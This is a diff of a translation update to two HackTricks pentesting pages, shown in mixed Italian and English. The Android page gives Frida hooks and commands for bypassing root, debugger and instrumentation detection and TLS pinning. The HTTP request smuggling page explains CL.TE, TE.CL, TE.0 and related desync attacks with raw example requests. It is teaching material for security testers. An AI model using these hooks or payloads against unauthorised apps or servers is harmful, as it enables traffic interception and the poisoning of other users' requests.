Translated ['src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,30 +2,30 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Questa pagina fornisce un flusso di lavoro pratico per ripristinare l'analisi dinamica contro le app Android che rilevano/bloccano l'instrumentation o applicano il TLS pinning. Si concentra su una rapida valutazione, rilevamenti comuni e hook/tattiche copiabili per bypassarli senza ripackaging quando possibile.
+This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible.
 
-## Superficie di Rilevamento (cosa controllano le app)
+## Superficie di rilevamento (cosa verificano le app)
 
 - Controlli di root: binario su, percorsi Magisk, valori getprop, pacchetti root comuni
-- Controlli Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scansione /proc, classpath, librerie caricate
-- Anti-debug nativo: ptrace(), syscalls, anti-attach, breakpoints, inline hooks
-- Controlli di early init: Application.onCreate() o hook di avvio processo che si bloccano se l'instrumentation è presente
-- TLS pinning: TrustManager/HostnameVerifier personalizzati, OkHttp CertificatePinner, pinning Conscrypt, pin nativi
+- Controlli Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scansione di /proc, classpath, librerie caricate
+- Anti‑debug nativo: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
+- Controlli di init precoce: Application.onCreate() o hook di avvio del processo che causano crash se è presente instrumentation
+- TLS pinning: TrustManager/HostnameVerifier personalizzati, OkHttp CertificatePinner, Conscrypt pinning, pin nativi
 
-## Passo 1 — Vittoria rapida: nascondere il root con Magisk DenyList
+## Step 1 — Quick win: hide root with Magisk DenyList
 
-- Abilitare Zygisk in Magisk
-- Abilitare DenyList, aggiungere il pacchetto target
-- Riavviare e ritestare
+- Abilita Zygisk in Magisk
+- Abilita DenyList, aggiungi il pacchetto target
+- Riavvia e riprova
 
-Molte app cercano solo indicatori ovvi (percorsi su/Magisk/getprop). DenyList spesso neutralizza controlli naivi.
+Molte app cercano solo indicatori ovvi (su/percorsi Magisk/getprop). DenyList spesso neutralizza controlli ingenui.
 
-Riferimenti:
+References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
-## Passo 2 — Test Frida Codeshare di 30 secondi
+## Step 2 — 30‑second Frida Codeshare tests
 
-Prova script drop-in comuni prima di approfondire:
+Prova script drop‑in comuni prima di approfondire:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
@@ -35,42 +35,42 @@ Esempio:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Questi tipicamente stub controlli Java root/debug, scansione di processi/servizi e ptrace() nativo. Utile su app leggermente protette; obiettivi rinforzati potrebbero necessitare di hook personalizzati.
+Questi tipicamente sostituiscono (stub) i check Java per root/debug, le scansioni process/service e le chiamate native ptrace(). Utili su app poco protette; hardened targets potrebbero richiedere hook su misura.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Step 3 — Bypassare i rilevatori di init-time attaccando in ritardo
+## Step 3 — Bypass init-time detectors collegandosi più tardi
 
-Molte rilevazioni vengono eseguite solo durante la creazione del processo/onCreate(). L'iniezione al momento della creazione (-f) o gadget vengono catturati; attaccarsi dopo il caricamento dell'interfaccia utente può sfuggire.
+Molte rilevazioni vengono eseguite solo durante process spawn/onCreate(). Spawn‑time injection (-f) o gadgets vengono intercettati; collegarsi dopo il caricamento della UI può aggirare questi controlli.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-Se questo funziona, mantieni la sessione stabile e procedi a mappare e controllare gli stub.
+Se questo funziona, mantieni la sessione stabile e procedi a mappare e verificare gli stub.
 
-## Passo 4 — Mappa la logica di rilevamento tramite Jadx e ricerca di stringhe
+## Step 4 — Map detection logic via Jadx and string hunting
 
-Parole chiave di triage statico in Jadx:
+Parole chiave per il triage statico in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
 
-Modelli Java tipici:
+Pattern Java tipici:
 ```java
 public boolean isFridaDetected() {
 return getRunningServices().contains("frida");
 }
 ```
-API comuni da rivedere/agganciare:
+API comuni da esaminare/hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
 - java.lang.System.loadLibrary / System.load (native bridge)
 - java.lang.Runtime.exec / ProcessBuilder (probing commands)
 - android.os.SystemProperties.get (root/emulator heuristics)
 
-## Passo 5 — Stubbing a runtime con Frida (Java)
+## Passo 5 — Stub del runtime con Frida (Java)
 
-Sovrascrivi le guardie personalizzate per restituire valori sicuri senza ripacchettare:
+Sovrascrivi i controlli personalizzati per restituire valori sicuri senza repacking:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Triaging early crashes? Dumpa le classi poco prima che si blocchi per individuare i namespace di rilevamento probabili:
+Triaging dei crash precoci? Dump classes poco prima che si arresti per individuare probabili detection namespaces:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -104,24 +104,24 @@ return false;
 };
 });
 ```
-## Step 6 — Segui il percorso JNI/nativo quando i hook Java falliscono
+## Step 6 — Seguire la traccia JNI/native quando i Java hooks falliscono
 
-Traccia i punti di ingresso JNI per localizzare i caricamenti nativi e l'inizializzazione della rilevazione:
+Traccia i punti di ingresso JNI per individuare i loader nativi e l'inizializzazione della rilevazione:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Valutazione rapida nativa dei file .so inclusi:
+Rapido triage nativo dei file .so inclusi:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
 objdump -T libfoo.so | grep Java_
 strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
 ```
-Interactive/native reversing:
+Reversing interattivo/nativo:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
 
-Esempio: neuter ptrace per sconfiggere un semplice anti‑debug in libc:
+Esempio: neutralizzare ptrace per eludere un semplice anti‑debug in libc:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@@ -130,40 +130,43 @@ return -1; // pretend failure
 }, 'int', ['int', 'int', 'pointer', 'pointer']));
 }
 ```
-Vedi anche: {{#ref}}
+Vedi anche:
+{{#ref}}
 reversing-native-libraries.md
 {{#endref}}
 
-## Passo 7 — Patching Objection (gadget incorporato / nozioni di base sullo stripping)
+## Passo 7 — Objection patching (embed gadget / strip basics)
 
 Quando preferisci il repacking ai runtime hooks, prova:
 ```bash
 objection patchapk --source app.apk
 ```
 Note:
-- Richiede apktool; assicurati di avere una versione attuale dalla guida ufficiale per evitare problemi di build: https://apktool.org/docs/install
-- L'iniezione di gadget consente l'istrumentazione senza root ma può comunque essere rilevata da controlli più severi all'avvio.
+- Richiede apktool; assicurati di avere una versione aggiornata seguendo la guida ufficiale per evitare problemi di build: https://apktool.org/docs/install
+- Gadget injection permette l'instrumentation senza root ma può comunque essere rilevata da controlli init‑time più stringenti.
 
 Riferimenti:
 - Objection: https://github.com/sensepost/objection
 
-## Passo 8 — Fallback: Patch TLS pinning per la visibilità della rete
+## Passo 8 — Fallback: Patch TLS pinning per la visibilità del traffico di rete
 
-Se l'istrumentazione è bloccata, puoi comunque ispezionare il traffico rimuovendo staticamente il pinning:
+Se l'instrumentation è bloccata, puoi comunque ispezionare il traffico rimuovendo staticamente il pinning:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Strumento: https://github.com/shroudedcode/apk-mitm
-- Per trucchi di configurazione della rete CA‑trust (e fiducia CA utente Android 7+), vedere:
+- Per i trucchi CA‑trust nella configurazione di rete (e il trust delle CA utente su Android 7+), vedi:
+
 {{#ref}}
 make-apk-accept-ca-certificate.md
 {{#endref}}
+
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
 
-## Comandi utili cheat‑sheet
+## Prontuario rapido dei comandi
 ```bash
 # List processes and attach
 frida-ps -Uai
@@ -183,10 +186,10 @@ apk-mitm app.apk
 ```
 ## Suggerimenti e avvertenze
 
-- Preferisci allegare tardi piuttosto che generare nuovi processi quando le app si bloccano all'avvio
-- Alcune rilevazioni vengono rieseguite in flussi critici (ad es., pagamento, autenticazione) — mantieni i hook attivi durante la navigazione
-- Mescola statico e dinamico: cerca stringhe in Jadx per selezionare le classi; poi aggancia i metodi per verificare a runtime
-- Le app rinforzate possono utilizzare packer e pinning TLS nativo — aspettati di fare reverse del codice nativo
+- Preferisci attaching late piuttosto che spawning quando le app crashano all'avvio
+- Alcune detections si rieseguono nei flussi critici (es., payment, auth) — mantieni i hooks attivi durante la navigazione
+- Combina statico e dinamico: string hunt in Jadx per selezionare le classi; poi applica hook ai metodi per verificare a runtime
+- Le app hardenate possono usare packers e native TLS pinning — prevedi di dover eseguire reverse engineering sul codice nativo
 
 ## Riferimenti
 

src/pentesting-web/http-request-smuggling/README.md

@@ -2,62 +2,63 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+
 ## Cos'è
 
-Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **proxy front-end** e il server **back-end** consente a un **attaccante** di **inviare** una **richiesta** HTTP che sarà **interpretata** come una **singola richiesta** dai **proxy front-end** (load balance/reverse-proxy) e **come 2 richieste** dal server **back-end**.\
-Questo consente a un utente di **modificare la prossima richiesta che arriva al server back-end dopo la sua**.
+Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **front-end proxies** e il **back-end** server permette a un **attaccante** di **inviare** una richiesta HTTP che verrà **interpretata** come **una singola request** dai **front-end** proxies (load balancer/reverse-proxy) e **come 2 request** dal **back-end** server.\
+Questo permette a un utente di **modificare la prossima request che arriva al back-end server dopo la sua**.
 
 ### Teoria
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> Se un messaggio viene ricevuto con sia un campo di intestazione Transfer-Encoding che un campo di intestazione Content-Length, quest'ultimo DEVE essere ignorato.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> L'intestazione dell'entità Content-Length indica la dimensione del corpo dell'entità, in byte, inviato al destinatario.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
 
 **Transfer-Encoding: chunked**
 
-> L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.\
-> Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk.
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Chunked means that large data is sent in a series of chunks
 
 ### Realtà
 
-Il **Front-End** (un load-balance / Reverse Proxy) **elabora** l'intestazione _**content-length**_ o l'intestazione _**transfer-encoding**_ e il server **Back-end** **elabora l'altra**, provocando una **desincronizzazione** tra i 2 sistemi.\
-Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **venisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**.
+Il **Front-End** (un load-balancer / Reverse Proxy) **processa** l'header _**Content-Length**_ o l'header _**Transfer-Encoding**_ e il **Back-end** server **processa l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
+Questo può essere molto critico perché **un attaccante potrà inviare una request** al reverse proxy che sarà **interpretata** dal **back-end** server **come 2 richieste differenti**. Il **pericolo** di questa tecnica risiede nel fatto che il **back-end** server **interpreta** la **2ª request iniettata** come se provenisse dal prossimo client e la **vera request** di quel client sarà **parte** della **request iniettata**.
 
 ### Particolarità
 
-Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**
+Ricorda che in HTTP **un carattere di nuova linea è composto da 2 byte:**
 
-- **Content-Length**: Questa intestazione utilizza un **numero decimale** per indicare il **numero** di **byte** del **corpo** della richiesta. Si prevede che il corpo termini nell'ultimo carattere, **una nuova riga non è necessaria alla fine della richiesta**.
-- **Transfer-Encoding:** Questa intestazione utilizza nel **corpo** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova riga**, ma questa nuova riga **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di dimensione 0 seguito da 2 nuove righe**: `0`
-- **Connection**: Basato sulla mia esperienza, è consigliato utilizzare **`Connection: keep-alive`** nella prima richiesta dello smuggling.
+- **Content-Length**: Questo header usa un **numero decimale** per indicare il **numero** di **byte** del **body** della request. Ci si aspetta che il body termini nell'ultimo carattere, **non è necessario un new line alla fine della request**.
+- **Transfer-Encoding:** Questo header usa nel **body** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova linea** ma questa nuova linea **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di size 0 seguito da 2 new line**: `0`
+- **Connection**: Dalla mia esperienza è raccomandato usare **`Connection: keep-alive`** nella prima request dello request Smuggling.
 
-## Esempi di Base
+## Esempi di base
 
 > [!TIP]
-> Quando si cerca di sfruttare questo con Burp Suite **disabilitare `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati.
+> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
 
-Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano le intestazioni `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a queste intestazioni. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi.
+Gli attacchi di HTTP request smuggling sono costruiti inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL**, e **TE.TE**. Ogni tipo rappresenta una combinazione diversa di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità nascono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente malevoli.
 
-### Esempi di Base dei Tipi di Vulnerabilità
+### Esempi base di tipi di vulnerabilità
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Alla tabella precedente dovresti aggiungere la tecnica TE.0, come la tecnica CL.0 ma utilizzando Transfer Encoding.
+> Alla tabella precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer-Encoding.
 
-#### Vulnerabilità CL.TE (Content-Length utilizzato dal Front-End, Transfer-Encoding utilizzato dal Back-End)
+#### CL.TE Vulnerability (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)
 
-- **Front-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
-- **Back-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
-- **Scenario di Attacco:**
+- **Front-End (CL):** Processa la request basandosi sull'header `Content-Length`.
+- **Back-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
+- **Scenario d'attacco:**
 
-- L'attaccante invia una richiesta in cui il valore dell'intestazione `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
-- Il server front-end inoltra l'intera richiesta al back-end, basandosi sul valore di `Content-Length`.
-- Il server back-end elabora la richiesta come chunked a causa dell'intestazione `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una richiesta separata e successiva.
+- L'attaccante invia una request dove il valore dell'header `Content-Length` non corrisponde alla lunghezza reale del contenuto.
+- Il front-end server inoltra l'intera request al back-end, basandosi sul valore di `Content-Length`.
+- Il back-end server processa la request come chunked a causa dell'header `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una richiesta separata successiva.
 - **Esempio:**
 
 ```
@@ -73,15 +74,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```
 
-#### Vulnerabilità TE.CL (Transfer-Encoding utilizzato dal Front-End, Content-Length utilizzato dal Back-End)
+#### TE.CL Vulnerability (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)
 
-- **Front-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
-- **Back-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
-- **Scenario di Attacco:**
+- **Front-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
+- **Back-End (CL):** Processa la request basandosi sull'header `Content-Length`.
+- **Scenario d'attacco:**
 
-- L'attaccante invia una richiesta chunked in cui la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non si allineano.
-- Il server front-end, rispettando `Transfer-Encoding`, inoltra l'intera richiesta al back-end.
-- Il server back-end, rispettando `Content-Length`, elabora solo la parte iniziale della richiesta (`7b` byte), lasciando il resto come parte di una richiesta successiva non intenzionata.
+- L'attaccante invia una request chunked dove la dimensione del chunk (`7b`) e la lunghezza reale del contenuto (`Content-Length: 4`) non coincidono.
+- Il front-end server, rispettando `Transfer-Encoding`, inoltra l'intera request al back-end.
+- Il back-end server, rispettando `Content-Length`, processa solo la parte iniziale della request (`7b` bytes), lasciando il resto come parte di una richiesta successiva non intenzionale.
 - **Esempio:**
 
 ```
@@ -102,14 +103,14 @@ x=
 
 ```
 
-#### Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con offuscamento)
+#### TE.TE Vulnerability (Transfer-Encoding usato da entrambi, con offuscamento)
 
-- **Server:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato a ignorarlo tramite offuscamento.
-- **Scenario di Attacco:**
+- **Servers:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato non riconoscendo l'offuscamento.
+- **Scenario d'attacco:**
 
-- L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` offuscate.
-- A seconda di quale server (front-end o back-end) non riesce a riconoscere l'offuscamento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
-- La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando a smuggling.
+- L'attaccante invia una request con header `Transfer-Encoding` offuscati.
+- A seconda di quale server (front-end o back-end) non riconosce l'offuscamento, si può sfruttare una vulnerabilità CL.TE o TE.CL.
+- La parte non processata della request, come vista da uno dei server, diventa parte di una richiesta successiva, portando a smuggling.
 - **Esempio:**
 
 ```
@@ -129,10 +130,10 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End)**
+#### **CL.CL Scenario (Content-Length usato sia dal Front-End che dal Back-End)**
 
-- Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione `Content-Length`.
-- Questo scenario tipicamente non porta a smuggling, poiché c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della richiesta.
+- Entrambi i server processano la request basandosi unicamente sull'header `Content-Length`.
+- Questo scenario tipicamente non porta a smuggling, dato che c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della request.
 - **Esempio:**
 
 ```
@@ -144,10 +145,10 @@ Connection: keep-alive
 Normal Request
 ```
 
-#### **Scenario CL.0**
+#### **CL.0 Scenario**
 
-- Si riferisce a scenari in cui l'intestazione `Content-Length` è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto. Il back-end ignora l'intestazione `Content-Length` (che è trattata come 0), ma il front-end la analizza.
-- È cruciale per comprendere e creare attacchi di smuggling, poiché influisce su come i server determinano la fine di una richiesta.
+- Si riferisce a scenari in cui l'header `Content-Length` è presente ed ha un valore diverso da zero, indicando che il body della request contiene dati. Il back-end ignora l'header `Content-Length` (che è trattato come 0), ma il front-end lo analizza.
+- È cruciale per comprendere e costruire attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
 - **Esempio:**
 
 ```
@@ -159,10 +160,10 @@ Connection: keep-alive
 Non-Empty Body
 ```
 
-#### Scenario TE.0
+#### TE.0 Scenario
 
-- Come il precedente ma utilizzando TE
-- Tecnica [riportata qui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Come il precedente ma usando TE
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Esempio**:
 ```
 OPTIONS / HTTP/1.1
@@ -181,33 +182,34 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Rompere il server web
+#### Rompere il web server
 
-Questa tecnica è utile anche in scenari in cui è possibile **rompere un server web mentre si legge i dati HTTP iniziali** ma **senza chiudere la connessione**. In questo modo, il **corpo** della richiesta HTTP sarà considerato la **prossima richiesta HTTP**.
+Questa tecnica è anche utile in scenari in cui è possibile **break a web server while reading the initial HTTP data** ma **senza chiudere la connessione**. In questo modo, il **body** della richiesta HTTP sarà considerato la **next HTTP request**.
 
-Ad esempio, come spiegato in [**questo writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** e questo avrebbe fatto **rompere** il server. Tuttavia, se la connessione HTTP è stata creata con l'intestazione **`Connection: keep-alive`**, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il **corpo** della richiesta sarà trattato come la **prossima richiesta HTTP**.
+Per esempio, come spiegato in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** e questo avrebbe fatto **break** il server. Tuttavia, se la connessione HTTP era stata creata con l'header **`Connection: keep-alive`**, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il **body** della richiesta sarà trattato come la **next HTTP request**.
 
-#### Forzare tramite intestazioni hop-by-hop
+#### Forzare via hop-by-hop headers
 
-Abusando delle intestazioni hop-by-hop, potresti indicare al proxy di **eliminare l'intestazione Content-Length o Transfer-Encoding affinché un HTTP request smuggling sia possibile da abusare**.
+Abusando degli hop-by-hop headers potresti indicare al proxy di **cancellare l'header Content-Length o Transfer-Encoding in modo da rendere possibile un HTTP request smuggling da sfruttare**.
 ```
 Connection: Content-Length
 ```
-Per **maggiori informazioni sugli header hop-by-hop** visita:
+Per **maggiori informazioni sugli hop-by-hop headers** visita:
+
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## Trovare HTTP Request Smuggling
+## Individuazione di HTTP Request Smuggling
 
-Identificare le vulnerabilità di HTTP request smuggling può spesso essere realizzato utilizzando tecniche di timing, che si basano sull'osservazione di quanto tempo impiega il server a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere utilizzati per trovare tali vulnerabilità:
+Identificare le vulnerabilità di HTTP request smuggling può spesso essere fatto usando tecniche di timing, che si basano sull'osservazione del tempo che il server impiega a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:
 
-### Trovare Vulnerabilità CL.TE Utilizzando Tecniche di Timing
+### Individuare vulnerabilità CL.TE con tecniche di timing
 
 - **Metodo:**
 
-- Invia una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda ulteriori dati.
+- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.
 - **Esempio:**
 
 ```
@@ -223,18 +225,18 @@ A
 ```
 
 - **Osservazione:**
-- Il server front-end elabora la richiesta in base a `Content-Length` e interrompe il messaggio prematuramente.
-- Il server back-end, aspettandosi un messaggio chunked, attende il chunk successivo che non arriva mai, causando un ritardo.
+- Il front-end elabora la richiesta basandosi su `Content-Length` e tronca il messaggio prematuramente.
+- Il back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
 
 - **Indicatori:**
 - Timeout o lunghi ritardi nella risposta.
-- Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.
+- Ricezione di un errore 400 Bad Request dal back-end, talvolta con informazioni dettagliate sul server.
 
-### Trovare Vulnerabilità TE.CL Utilizzando Tecniche di Timing
+### Individuare vulnerabilità TE.CL con tecniche di timing
 
 - **Metodo:**
 
-- Invia una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda ulteriori dati.
+- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.
 - **Esempio:**
 
 ```
@@ -249,41 +251,41 @@ X
 ```
 
 - **Osservazione:**
-- Il server front-end elabora la richiesta in base a `Transfer-Encoding` e inoltra l'intero messaggio.
-- Il server back-end, aspettandosi un messaggio basato su `Content-Length`, attende ulteriori dati che non arrivano mai, causando un ritardo.
+- Il front-end elabora la richiesta basandosi su `Transfer-Encoding` e inoltra l'intero messaggio.
+- Il back-end, aspettandosi un messaggio basato su `Content-Length`, attende dati aggiuntivi che non arrivano mai, causando un ritardo.
 
-### Altri Metodi per Trovare Vulnerabilità
+### Altri metodi per individuare vulnerabilità
 
-- **Analisi delle Risposte Differenziali:**
-- Invia versioni leggermente variate di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di parsing.
-- **Utilizzo di Strumenti Automatizzati:**
+- **Analisi differenziale delle risposte:**
+- Invia versioni leggermente diverse di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nel parsing.
+- **Uso di strumenti automatizzati:**
 - Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
-- **Test di Variazione del Content-Length:**
-- Invia richieste con valori di `Content-Length` variabili che non sono allineati con la lunghezza effettiva del contenuto e osserva come il server gestisce tali discrepanze.
-- **Test di Variazione del Transfer-Encoding:**
-- Invia richieste con header `Transfer-Encoding` offuscati o malformati e monitora come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.
+- **Test di varianza di Content-Length:**
+- Invia richieste con valori `Content-Length` variabili che non corrispondono alla lunghezza reale del contenuto e osserva come il server gestisce tali discrepanze.
+- **Test di varianza di Transfer-Encoding:**
+- Invia richieste con header `Transfer-Encoding` offuscati o malformati e monitora come front-end e back-end rispondono differentemente a tali manipolazioni.
 
-### Test di Vulnerabilità di HTTP Request Smuggling
+### Test delle vulnerabilità di HTTP Request Smuggling
 
-Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste del client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, ad esempio, facendo in modo che una richiesta a `/` restituisca una risposta 404. Gli esempi `CL.TE` e `TE.CL` precedentemente discussi in [Esempi di Base](#basic-examples) dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client miri ad accedere a una risorsa diversa.
+Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, per esempio facendo in modo che una richiesta a `/` produca una risposta 404. Gli esempi `CL.TE` e `TE.CL` discussi in [Basic Examples](#basic-examples) mostrano come avvelenare la richiesta di un client per ottenere una 404, nonostante il client stia cercando di accedere a una risorsa diversa.
 
-**Considerazioni Chiave**
+**Considerazioni chiave**
 
-Quando testi per vulnerabilità di request smuggling interferendo con altre richieste, tieni a mente:
+Quando testi per vulnerabilità di request smuggling interferendo con altre richieste, tieni presente:
 
-- **Connessioni di Rete Distinte:** Le richieste "attacco" e "normali" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
-- **URL e Parametri Coerenti:** Cerca di utilizzare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a server back-end specifici in base a URL e parametri. Allineare questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
-- **Timing e Condizioni di Gara:** La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni occupate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
-- **Sfide di Bilanciamento del Carico:** I server front-end che fungono da bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normali" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
